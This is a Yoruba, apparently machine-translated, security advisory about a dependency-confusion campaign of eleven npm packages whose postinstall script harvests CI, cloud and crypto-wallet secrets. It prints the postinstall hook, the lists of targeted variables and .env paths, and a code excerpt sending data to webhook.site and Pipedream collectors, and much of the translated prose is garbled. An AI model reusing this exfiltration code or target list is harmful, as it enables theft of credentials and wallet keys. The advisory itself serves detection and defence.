Ìdàrúdàpọ̀ CryptoDAO: ìkórè àwọn páákì npm CI/CD àti Àṣírí Krípítrọ́pù

Ìdàrúdàpọ̀ CryptoDAO: àwọn àpò npm mọ́kànlá, ẹrù kan, ìkórè CI/CD àti àṣírí àpò owó crypto

TL; DR

Ní ọdún 2026-06-17, àkọọ́lẹ̀ npm kan ṣoṣo ni a tẹ̀ jáde Àwọn ìdìpọ̀ mọ́kànlá tí wọ́n pín ète kan àti ẹrù iṣẹ́ kanMẹ́wàá nínú wọn ló ní cryptodao- ìṣáájú (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); ìkọkànlá ni a ti ṣe àyẹ̀wò @public-for-cdao/coreA tẹ̀ gbogbo wọn jáde ní àtúnṣe 99.99.99 ati pe o n fi byte-iru kan ranṣẹ recon.js ti o nṣiṣẹ lori postinstall.

Àwọn orúkọ náà ni a mọ̀. Wọ́n dà bí àwọn ohun èlò ìkọ́lé inú ilé iṣẹ́ crypto/DAO. Wọ́n tẹ̀ ẹ́ jáde sí ibi ìforúkọsílẹ̀ npm gbogbogbòò ní ẹ̀dà tuntun tí ó ga jùlọ, wọ́n sì dúró dè ìkọ́lé kan. pipeline èyí tí a ṣètò láti yanjú àwọn orúkọ wọ̀nyẹn àti èyí tí ó dé sí npm gbogbogbò kí ó tó di — tàbí dípò — ìforúkọsílẹ̀ àdáni. Èyí ni gbára iporuru, a sì ṣe àtúnṣe ẹrù iṣẹ́ náà sí ibi pàtó tí ó retí láti balẹ̀: CI/CD awọn aṣaṣe.

Nigbawo postinstall àwọn iná, recon.js kó àwọn àlàyé ilé-iṣẹ́ jọ, ó ń ṣe àyẹ̀wò ní gbogbo ìgbà awọn oniyipada ayika awọsanma ogoji, CI, ati apamọwọ crypto-apoti, ka eyikeyi .env Ó lè rí àwọn fáìlì tí ó ní ìkọ̀kọ̀, kí ó sì fi àwọn ìlà ìkọ̀kọ̀ náà ránṣẹ́ ní ọ̀nà tí ó tọ́ka sí, lẹ́yìn náà ó fi àkójọ náà ránṣẹ́ sí àwọn olùkójọ méjì — webhook.site àti ìparí Pipedream kan — pẹ̀lú ìjẹ́rìísí ìwé-ẹ̀rí TLS tí a ti parẹ́. A tún kọ ẹ̀dà kan sí abẹ́ rẹ̀ /tmp.

Buru: ga. Ìṣẹ̀dá àyíká tí ó ní ipa lórí: npmGbogbo àwọn ìdìpọ̀ mọ́kànlá náà ló wà lárọ̀ọ́wọ́tó ní àkókò tí a ń kọ ọ́.

Anatomi ikọlu

Eto naa ni awọn ẹya gbigbe mẹrin, ko si ọkan ninu wọn ti o rọrun ni kete ti o ba mọ. Wo ipele kan ju orukọ package naa lọ.

1. Àfikún ẹ̀yà gẹ́gẹ́ bí ìfàmọ́ra olùpinnu. Àpò kọ̀ọ̀kan ń kéde ẹ̀yà 99.99.99Ìdàrúdàpọ̀ ìgbẹ́kẹ̀lé ara ẹni máa ń ṣiṣẹ́ nígbà tí olùṣàkóso package kan bá béèrè fún orukọ inu, tun ṣayẹwo iforukọsilẹ gbogbogbo ati yan ẹya ti o ga julọ rẹ àwọn àwárí. àṣàyàn àìyípadà npm fún ìpele caret tàbí wildcard ni Ẹ̀yà tó tẹ́ni lọ́rùn jùlọ lórí gbogbo orísun tí a ṣètò; tí àwọn méjèèjì bá jẹ́ ẹni ìkọ̀kọ̀ ìforúkọsílẹ̀ àti ìdáhùn npm gbogbogbò fún orúkọ kan náà, nọ́mbà ẹ̀yà tó tóbi jùlọ ló máa borí. A 99.99.99 ní pàtàkì ju gbogbo ẹ̀yà gidi ti iṣẹ́ akanṣe kan yóò ní lọ de ọdọ rẹ̀, nítorí náà, olùpinnu tí a kò so mọ́ orísun ìkọ̀kọ̀ fẹ́ràn gbogbo ènìyàn — àti nínú ọ̀ràn yìí, ẹ̀dà tí ó lòdì sí wọn — ẹ̀dà kan. Kò sí ìdí fún olùṣiṣẹ́ náà láti mọ Àwọn nọ́mbà àtúnṣe gidi ti àfojúsùn; yíyan iye tí kò dára tó ń ṣe ìdánilójú pé ìdè náà máa ń wáyé nígbà gbogbo ó ba ọ̀nà wọn jẹ́.

2. Ohun tí ó ń fa ìṣẹ̀lẹ̀ lẹ́yìn ìfisípò. package.json fi ẹrù isanwo ranṣẹ si fifi sori ẹrọ igba aye:

{   "scripts": { "postinstall": "node recon.js" } }

Kò ṣe dandan láti kó àpò wọlé. Fífi sori ẹrọ rẹ̀ lásán — èyí tí í ṣe CI pipeline ṣe laifọwọyi - nṣiṣẹ recon.js.

3. Ìpolongo ìkọ̀kọ̀ gbígbòòrò. recon.js kó àkójọ àwọn àbájáde jọ ní àwọn ìpele:

  • Àyíká Olùgbàlejò: orúkọ olùgbàlejò, pẹpẹ àti ìtújáde, architecture, orúkọ olùlò, iṣẹ́ liana.
  • Àwọn oníyípadà àyíká: ó ń tún àkójọpọ̀ tí a ti yàn tẹ́lẹ̀ ti nǹkan bí ogójì orúkọ àti àkọsílẹ̀ ṣe èyíkéyìí tí a bá ṣètò. Àkójọ náà ń fi hàn — ó so àwọn àmì CI gbogbogbò pọ̀ mọ́ra (CI_JOB_TOKEN, CI_REGISTRY_PASSWORD, GITLAB_ACCESS_TOKEN) àti ìkùukùu awọn iwe-ẹri (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) pẹ̀lú àṣírí ìforúkọsílẹ̀ àti àpótí ìkọ́lé (NPM_TOKEN, DOCKER_PASSWORD, HARBOR_PASSWORD) àti ìṣọ̀pọ̀ aládùn crypto kan pàtó:  PRIVATE_KEY, MNEMONIC, ÌFÚN_SEED, INFURA_API_KEY, ALCHEMY_API_KEY, ETH_RPC, BSC_RPCA gé àwọn iye tí a gbà sílẹ̀ sí àwọn ohun kikọ 50 àkọ́kọ́.
  • .env àwọn fáìlì: ó ń ṣe àyẹ̀wò àkójọ àwọn ipa ọ̀nà kan — .env, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /ile/gitlab-runner/.env, /root/.env, ati awọn .gbóògì/.idagbasoke awọn iyatọ — ati fun eyikeyi faili ti o wa, o àlẹ̀mọ́ àwọn akoonu sí àwọn ìlà tí ó báramu KÍKÓÒTÌ|ÀṢÌKÌ|ÀMÌ|KÍKÓÒTÌ|ÌKÌKÌ|MNEMONIC ó sì ti àwọn ìlà wọ̀nyẹn **ní kíkún, láìsí ìdíwọ́** sínú àwọn àbájáde náà.
  • Àyíká ìṣètò ìṣètò: ó ṣe àkójọ àwọn àkọsílẹ̀ 20 àkọ́kọ́ ti /kọ́lé/, /ile/gitlab-runner/kọ́lé/, /var/lib/gitlab-runner/, Ati / tmp /.

Àkójọ ipa ọ̀nà àti àkójọ oníyípadà ni a wọ̀n sí àwọn olùsáré GitLab, èyí tí ó tọ́ka sí ẹrù iṣẹ́ náà ní àyè tó yẹ ní àwọn ẹ̀rọ CI tí wọ́n ń gbàlejò fúnra wọn dípò olùgbékalẹ̀ kọ̀ǹpútà alágbèéká. Ṣíṣe àkójọ ìkórè ní ìsọ̀rí-ẹ̀ka mú kí ìkórè tí a fẹ́ kó rọrùn:

Ẹka Àwọn oníyípadà/àwọn ipa ọ̀nà tí a dé
CI/CD ìdánimọ̀ àti ìgbékalẹ̀ CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY
Cloud AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
Àkọsílẹ̀ àti àpótí ìforúkọsílẹ̀ NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD
Awọn ile itaja data DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD
Kírónípù / blockchain PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC
Fifiranṣẹ SLACK_TOKEN, DISCORD_TOKEN
Lórí díìsìkì .env ìdílé + /home/gitlab-runner/.env, /root/.env, /app/**/.env; àkójọ àkójọ ìwé àkójọ /builds/, /var/lib/gitlab-runner/

Àkójọpọ̀ crypto ni apá tí ó yà èyí sọ́tọ̀ kúrò nínú ìkọ̀kọ̀ CI gbogbogbòò sweep: àwọn gbólóhùn irugbin àpò àti àwọn kọ́kọ́rọ́ ìfọwọ́sowọ́pọ̀ nìkan ló máa ń hàn ní àyíká iṣẹ́ akanṣe blockchain, wọ́n sì máa ń ṣe àkójọ taara sí cryptodao-/ami/ifowo siwe orúkọ àwọn olùgbé.

4. Ìyọkúrò méjì pẹ̀lú ìjẹ́rìísí tí a ti parẹ́. Àkójọpọ̀ tí a kó jọ ni ti ṣe lẹsẹsẹ ati firanṣẹ si awọn ibi meji:

const targets = [   { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' },   { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })

kọLaisi aṣẹ: èké pa àwọn àyẹ̀wò ìwé-ẹ̀rí TLS fún ìjáde lọ síta Àwọn ìpè. A tẹ̀ ìwífún kan náà sí stdout (nítorí náà ó tún dé inú àkọsílẹ̀ iṣẹ́ CI) àti ti a kọ si /tmp/.npm_recon_ .jsonA gbé àwọn àṣìṣe mì láìsí ìkọ̀kọ̀, nítorí náà a kuna fifiranṣẹ ko fi ami kankan silẹ ninu abajade fifi sori ẹrọ ju ẹyọ kan lọ [àtúnsọ] fi sori ẹrọ lori laini.

Ọ̀rọ̀ pàtàkì kan nínú fáìlì náà ṣàpèjúwe rẹ̀ gẹ́gẹ́ bí “Ìdàrúdàpọ̀ Ìgbẹ́kẹ̀lé Iṣẹ́ Àyẹ̀wò. "Ìdínkù àwọn iye àyíká sí àwọn ohun kikọ 50 ti àwòrán ẹ̀rí èrò kan. Ohun tí ó gbé e kọjá ìmọ́lẹ̀ wíwà nìkan ni .env mimu: awọn laini ti o ni ikọkọ ni a firanṣẹ ni kikun, ati awọn ibi ti a nlo Àwọn olùkójọpọ̀ méjì tí wọ́n ń ṣiṣẹ́, tí àwọn olùkọlù ń ṣàkóso jẹ́ dípò síńkì tí ó kàn ṣe pàtàkì nìkan deba.

Ago

Àpẹẹrẹ ìtẹ̀jáde náà jẹ́ ìfọwọ́sowọ́pọ̀ ti ìtẹ̀síwájú ìkọ̀wé kan ṣoṣo, kìí ṣe mọ́kànlá Àwọn ìgbéjáde òmìnira.

Àkókò (UTC, 2026-06-17) iṣẹlẹ
03:24:58 cryptodao-bot@99.99.99 atejade
03:25:01 cryptodao-signer@99.99.99
03:25:04 cryptodao-deploy@99.99.99
03:25:08 cryptodao-backend@99.99.99
03:25:11 cryptodao-contracts@99.99.99
03:25:14 cryptodao-sdk@99.99.99
03:25:18 cryptodao-utils@99.99.99
03:25:21 cryptodao-core@99.99.99
03:25:24 cryptodao-types@99.99.99
03:25:27 cryptodao-config@99.99.99
03:49:59 @public-for-cdao/core@99.99.99 — iyatọ ti a ti ṣe ayẹwo, ~ iṣẹju 24 lẹhinna

Àwọn ìdìpọ̀ mẹ́wàá jáde nínú fèrèsé ìṣẹ́jú-àáyá 29, ní ìwọ̀n ìṣẹ́jú-àáyá mẹ́ta. Àwọn tí a ṣe àwárí @public-for-cdao/core tẹle nipa iṣẹju 24 lẹhin — iṣẹju-aaya kan ìpèlé ìpèlé fún àfojúsùn kan náà, bí iṣẹ́ àgbékalẹ̀ ìlò bá tọ́ka sí i ẹ̀rọ irinṣẹ́ inú lábẹ́ àkójọpọ̀ dípò orúkọ lásán.

Awọn afihan ti adehun

iru Atọka
-odè hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd
-odè hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/
Fi ìkọ́ sori ẹrọ postinstall: node recon.js
Fáìlì tí a ti fi sílẹ̀ /tmp/.npm_recon_<timestamp>.json
Àmì ìkànnì [recon] <pkg>@<ver> installed on <hostname> (stdout nínú àwọn àkọsílẹ̀ CI)
Agbegbe rejectUnauthorized: false lórí HTTPS tí ń jáde nígbà tí a bá ń fi sori ẹrọ
Payload recon.js, dọ́gba lórí gbogbo àwọn páálí mọ́kànlá (ìkọ́lé kan tí a pín)
version 99.99.99 lori gbogbo package
jo cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (gbogbo 99.99.99)
akede aduljune / aduljune@proton.me (ìmeeli kò tíì jẹ́rìísí, kò sí ibi ìpamọ́ orísun tí a so pọ̀ mọ́)

 Ìfìyàsí àti ìwà tí a ṣàkíyèsí

Gbogbo nǹkan nípa ẹgbẹ́ náà tọ́ka sí ọwọ́ kan. Gbogbo àwọn ìdìpọ̀ mọ́kànlá ni a tẹ̀ jáde nipasẹ akọọlẹ npm aduljun (aduljune@proton.me, àdírẹ́sì tí a kò tíì fìdí rẹ̀ múlẹ̀ pẹ̀lú kò sí ibi ipamọ orisun ti a sopọ mọ), laarin akoko iṣẹju 25, ni akoko kanna 99.99.99 ẹya, fifiranṣẹ a recon.js tí àkóónú rẹ̀ jẹ́ byte-for-byte dọ́gba ní gbogbo Àpò ìpamọ́ (MD5 bá gbogbo àwọn ẹ̀dà mọ́kànlá tí a yọ jáde mu). Èyìí ni ẹrù iṣẹ́ kan ṣoṣo. tí a fi àmì sí orí àkójọ orúkọ, kìí ṣe àtúnlo kódì aláìdáwọ́dúró.

Àkójọ orúkọ náà ló ń ṣàlàyé ibi tí wọ́n fẹ́ dé. cryptodao-* ati cdao apejuwe awọn ìṣètò module ikọkọ ti iṣẹ akanṣe crypto/DAO kan, ati akojọ ikore ti ẹrù isanwo àwọn dígí tí ó ń ṣe àkíyèsí: pẹ̀lú àwọn àṣírí CI àti ìkọ̀kọ̀, ó ṣe pàtàkì Gigun fun PRIVATE_KEY, MNEMONIC, ÌFÚN_SEED, àti Ethereum/BSC RPC àti awọn bọtini olupese. .env Àwọn ipa ọ̀nà àwárí àti àkójọ ìwé àkójọ ni GitLab-runner pàtó. Ipa tí a lè rí ni pé èyíkéyìí pipeline a ti tàn wọ́n láti fi wọ́n sílẹ̀ Àwọn orúkọ yóò fi àwọn àmì CI rẹ̀, àwọn kọ́kọ́rọ́ àwọsánmà, àti àwọn lórí díìsìkì rẹ̀ ránṣẹ́ .env àwọn àṣírí — àti, fún iṣẹ́ akanṣe blockchain kan, ohun èlò àpò rẹ̀ — sí àwọn olùgbàjọpọ̀ ẹni-kẹta méjì.

A kò sọ ohunkóhun nípa ẹni tí ó ń ṣiṣẹ́ àkọọ́lẹ̀ náà tàbí ohun tí wọ́n gbèrò láti ṣe pẹ̀lú rẹ̀ Àwọn òtítọ́ tí ó dúró fúnra wọn: àwọn orúkọ náà fojú sí irú pàtó kan ẹ̀rọ irinṣẹ́ inú, ẹrù ìsanwó náà ń ka àti ń gbé àwọn ìníyelórí ìkọ̀kọ̀ gidi jáde, àti Àwọn ètò ìṣiṣẹ́ wà láàyè.

Ipa, awọn aṣa, ati itọsọna olugbeja

Idarudapọ igbẹkẹle ó máa ń ṣiṣẹ́ dáadáa nítorí pé ó ń lo ìwà olùpinnu, kì í ṣe àìlera nínú gbogbo àpò. Ẹni tó ń gbé e síbí kò ṣe pàtàkì — mọ́kànlá tó fẹ́rẹ̀ẹ́ ṣofo awọn idii — ṣugbọn rediosi bugbamu naa jẹ ohunkohun ti pipeline àṣìṣe ló fẹ́ràn npm gbogbogbòò fún orúkọ inú. Àwọn olùsáré CI ni ibi tí ó burú jùlọ fún èyí láti ṣẹlẹ̀: wọ́n gbàgbọ́ gangan awọn ami ati .env Àwọn fáìlì yìí ni a kà, wọ́n sì fi sori ẹrọ awọn igbẹkẹle ti ko ni ibaraenisepo, nitorinaa a fifi sori ẹrọ lẹhin ń sáré láìsí ẹnìkan tó ń wò ó.

Àkójọpọ̀ yìí tún bá àpẹẹrẹ tí a ń rí mu: àwọn ẹrù ìsanwó àkókò ìfisílé tí ó wà gẹ́gẹ́ bí “ìwádìí” tàbí “àwárí” nígbà tí a ń ṣe ìkójọ ìwé ẹ̀rí gidi. Nínú fáìlì náà kò yí ohun tí kódù náà ń ṣe lórí olùṣiṣẹ́ padà. Àwọn àṣàyàn àpẹẹrẹ méjì wà níbẹ̀ iṣẹ́ náà dákẹ́ jẹ́ẹ́: gbogbo iṣẹ́ nẹ́tíwọ́ọ̀kì àti ètò fáìlì ni a fi wé nínú olùtọ́jú ìyàsọ́tọ̀ tí ó ń yọ àwọn àṣìṣe kúrò, nítorí náà ìfiránṣẹ́ tí a ti dí tàbí fáìlì tí ó sọnù Ko ṣe agbejade abajade ayẹwo kankan, ati pe ohun kan ṣoṣo ti a tẹjade ni ọkan ti ko ni ipalara [àtúnṣe] … fi sori ẹrọ ìlà tí ó para pọ̀ mọ́ ìfọ̀rọ̀wérọ̀ ìfisílẹ̀ déédéé. wẹbuk.oju opo wẹẹbu àti Pipedream tún jẹ́ ìrọ̀rùn tí a mọ̀ọ́nmọ̀ — àwọn méjèèjì jẹ́ ọ̀fẹ́, lesekese ni a pese awọn iṣẹ gbigba ibeere-igbasilẹ, nitorinaa oniṣẹ ko nilo olupin ti tiwọn àti àwọn ibi tí a ń lọ náà dà bí orúkọ àwọn olùgbàlejò SaaS lásán nínú àwọn àkọsílẹ̀ ìjáde.

Àwọn ètò ọrọ̀ ajé ló mú kí èyí yẹ fún àfiyèsí olùgbèjà bó tilẹ̀ jẹ́ pé Kóòdù olùgbéjáde kò ṣe pàtàkì. Fífi orúkọ mọ́kànlá sílẹ̀ kò náni ní owó kankan, ẹrù iṣẹ́ náà jẹ́ ọ̀kan Daakọ faili naa ni igba mọkanla, oluṣakoso package naa yoo si ṣe gbogbo iṣẹ naa. ti ko tọ pipeline ibikibi ti o ba mu ọkan ninu awọn orukọ wọnyi sanwo fun gbogbo isẹ.

Awọn igbesẹ pataki fun awọn olugbeja:

  • So awọn ohun elo inu mọ iforukọsilẹ ikọkọ rẹ. Ṣe atunto npm ki awọn orukọ inu
     àti àwọn scopes pinnu sí ìforúkọsílẹ̀ rẹ nìkan (àwọn scoped .npmrc registry mappings,
    tàbí aṣojú tí kìí sábà dé ọ̀dọ̀ àwọn ènìyàn fún àwọn orúkọ tí a ní). Ṣe ìpamọ́ àwọn orúkọ gbogbogbò rẹ kí ẹnikẹ́ni má baà lè forúkọ sílẹ̀.
  • Commit lockfiles ki o fi sori ẹrọ pẹlu –ignore-scripts ní CI níbi tí ó bá ṣeé ṣe, tàbí Ṣe àyẹ̀wò àwọn ìgbẹ́kẹ̀lé kékeré tí ó nílò àwọn ìwé àfọwọ́kọ ìfisílẹ̀ ní tòótọ́.  recon.js kò le ṣiṣẹ́ tí ó bá jẹ́ pé fifi sori ẹrọ lẹhin a kò ṣe é.
  • Ṣe àfiyèsí sí ẹ̀yà 99.99.99 (tàbí ẹ̀yà gíga mìíràn) ti orúkọ tó rí bí ti inú gẹ́gẹ́ bí àsíá pupa nínú àtúnyẹ̀wò ìgbẹ́kẹ̀lé àti ìṣàyẹ̀wò ìforúkọsílẹ̀.
  • Ìkìlọ̀ lórí ìgbà tí a fi sori ẹrọ. A fifi sori ẹrọ lẹhin tí ó ṣí HTTPS tí ń jáde lọ ìsopọ̀ — pàápàá jùlọ pẹ̀lú ìjẹ́rìísí ìwé-ẹ̀rí tí a ti pa — sí webhook.site, Pipedream, tàbí àwọn iṣẹ́ ìbéèrè-ìmúrasílẹ̀ tó jọra jẹ́ ohun tó yẹ kí a dí ní etí nẹ́tíwọ́ọ̀kì kí a sì fi àmì sí inú àwọn àkọsílẹ̀ ìkọ́lé.
  • Ṣe àwárí àwọn ohun ìṣẹ̀ǹbáyé. Ṣayẹwo awọn awakọ fun /tmp/.npm_recon_*.json ati fun awọn [àtúnṣe] … tí a fi sori ẹrọ lori … àmì nínú àwọn àkọsílẹ̀ CI tuntun. Tí a bá rí i, yí gbogbo wọn padà ìwé ẹ̀rí tí a fi hàn sí èyí pipeline — Àwọn àmì CI, àwọn kọ́kọ́rọ́ àwọsánmà, àwọn àmì ìforúkọsílẹ̀, àti èyíkéyìí irúgbìn àpò tàbí àwọn kọ́kọ́rọ́ ìkọ̀kọ̀ tó wà nínú àyíká tàbí àwọn fáìlì .env.

jo

Kò sí ìròyìn láti òde lórí ẹgbẹ́ yìí ní àkókò tí a ń kọ ọ́; loke da lori taara lori akoonu ti a tẹjade ninu package

àwọn irinṣẹ́ ìwádìí-àkójọpọ̀-ẹ̀rọ-sca-tools
Ṣe àfiyèsí, ṣe àtúnṣe, kí o sì dáàbò bo àwọn ewu sọ́fítíwè rẹ
Gba Akaunti Ọfẹ rẹ.
Ko si kaadi kirẹditi ti o nilo.

Ṣe aabo fun idagbasoke ati ifijiṣẹ sọfitiwia rẹ

pẹlu Xygeni Product Suite